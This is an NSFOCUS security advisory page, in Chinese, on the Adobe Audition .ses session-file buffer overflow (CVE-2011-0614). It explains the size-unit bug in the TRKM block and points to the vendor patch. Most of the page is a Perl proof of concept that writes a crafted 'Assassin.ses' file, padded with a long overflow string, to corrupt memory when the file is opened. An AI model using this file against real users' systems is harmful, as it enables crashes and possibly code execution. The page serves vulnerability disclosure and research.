首页 -> 安全研究

安全研究

安全漏洞
Adobe Audition ".ses"文件处理缓冲区溢出漏洞

发布日期：2011-05-12
更新日期：2011-05-13

受影响系统：
Adobe Audition
描述：
BUGTRAQ  ID: 47841
CVE(CAN) ID: CVE-2011-0614

Adobe Audition是一个专业音频编辑和混合环境，原名为Cool Edit Pro，被Adobe收购后改名为Adobe Audition。

Adobe Audition处理".ses"文件的实现上存在缓冲区溢出漏洞，通过诱使用户打开特制的会话文件，远程攻击者可利用此漏洞在受影响系统上执行任意代码。

在解析.ses文件上TRKM块中的几个字段时，应用程序存在多个缓冲区溢出漏洞。这些漏洞源于将估算错误的缓冲区最大空间发送到地址0x483F065A处的函数，此函数类似于：
/-----
unsigned int 483F065A(wchar_t *dest, unsigned int size, wchar_t *src);
- -----/
“size”参数假定位于WCHAR中，但在解析会话文件时，代码将其用作字节表达的尺寸，导致在会话文件的TRKM块中的几个字段中出现多个缓冲区溢出。

<*来源：Diego Juarez
  *>

测试方法：

警 告

以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！

#!/usr/bin/perl
#
#
# Adobe Audition 3.0 (build 7283) Session File Handling Buffer Overflow PoC
#
#
# Vendor: Adobe Systems Inc.
# Product web page: http://www.adobe.com/products/audition/
# Affected version: 3.0 (build 7238)
#
# Summary: Recording, mixing, editing, and mastering &#151; Adobe&reg; Audition&reg; 3 software is the
# all-in-one toolset for professional audio production.
#
# Desc: Adobe Audition suffers from a buffer overflow vulnerability when dealing with .SES
# (session) format file. The application failz to sanitize the user input resulting in a
# memory corruption, overwriting several memory registers which can aid the atacker to gain
# the power of executing arbitrary code or denial of service.
#
# Tested on Microsoft Windows XP Professional SP3 (English)
#
#
# Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
# liquidworm gmail com
# Zero Science Lab - http://www.zeroscience.mk
#
#
# http://img225.imageshack.us/img225/9871/boferror.jpg
#
#
# Zero Science Lab Advisory ID: ZSL-2011-5012
# Zero Science Lab Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2011-5012.php
#
# Adobe Advisory ID: APSB11-10
# Adobe Advisory URL: http://www.adobe.com/support/security/bulletins/apsb11-10.html
#
# CVE ID: CVE-2011-0614
#
#
# 18.09.2009
#


$data = "\x43\x4F\x4F\x4C\x4E\x45\x53\x53\x50\xF2\x08\x00".
    "\x68\x64\x72\x20\xF0\x03\x00\x00\x22\x56\x00\x00".
    "\xFC\x17\x0A\x00\x00\x00\x00\x00\x20\x00\x01\x00".
    "\x00\x00\x00\x00\x00\x00\xF0\x3F\x00\x00\x00\x00".
    "\x00\x00\xF0\x3F\x41\x41\x41\x41\x41\x41\x41\x41".
    "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
    "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
    "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
    "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
    "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
    "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
    "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
    "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
    "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
    "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
    "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
    "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
    "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
    "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
    "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
    "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
    "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
    "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
    "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
    "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
    "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
    "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
    "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
    "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
    "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
    "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
    "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
    "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
    "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
    "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
    "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
    "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
    "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
    "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
    "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
    "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
    "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
    "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
    "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
    "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
    "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
    "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
    "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
    "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
    "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
    "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
    "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
    "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
    "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
    "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
    "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
    "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
    "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
    "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
    "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
    "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
    "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
    "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
    "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
    "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
    "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
    "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
    "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
    "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
    "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
    "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
    "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
    "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
    "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
    "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
    "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
    "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
    "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
    "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
    "\x41\x41\x41\x41\x00";


$FNAME = "Assassin.ses";

print "\n\n[*] Creating malicious session file: $FNAME ...\r\n";

open(ses, ">./$FNAME") || die "\n\aCannot open $FNAME: $!";

print ses "$data";
sleep(1);

close (ses);

print "\n[*] Malicious session file successfully crafted!\r\n\n";

建议：
厂商补丁：

Adobe
-----
目前厂商已经发布了升级补丁以修复这个安全问题，请到厂商的主页下载：

http://www.adobe.com/support/security/

浏览次数：3128
严重程度：0（网友投票）
本安全漏洞由绿盟科技翻译整理，版权所有，未经许可，不得转载
绿盟科技给您安全的保障
关于我们
公司介绍
公司荣誉
公司新闻
联系我们
公司总部
分支机构
海外机构
快速链接
绿盟云
绿盟威胁情报中心NTI
技术博客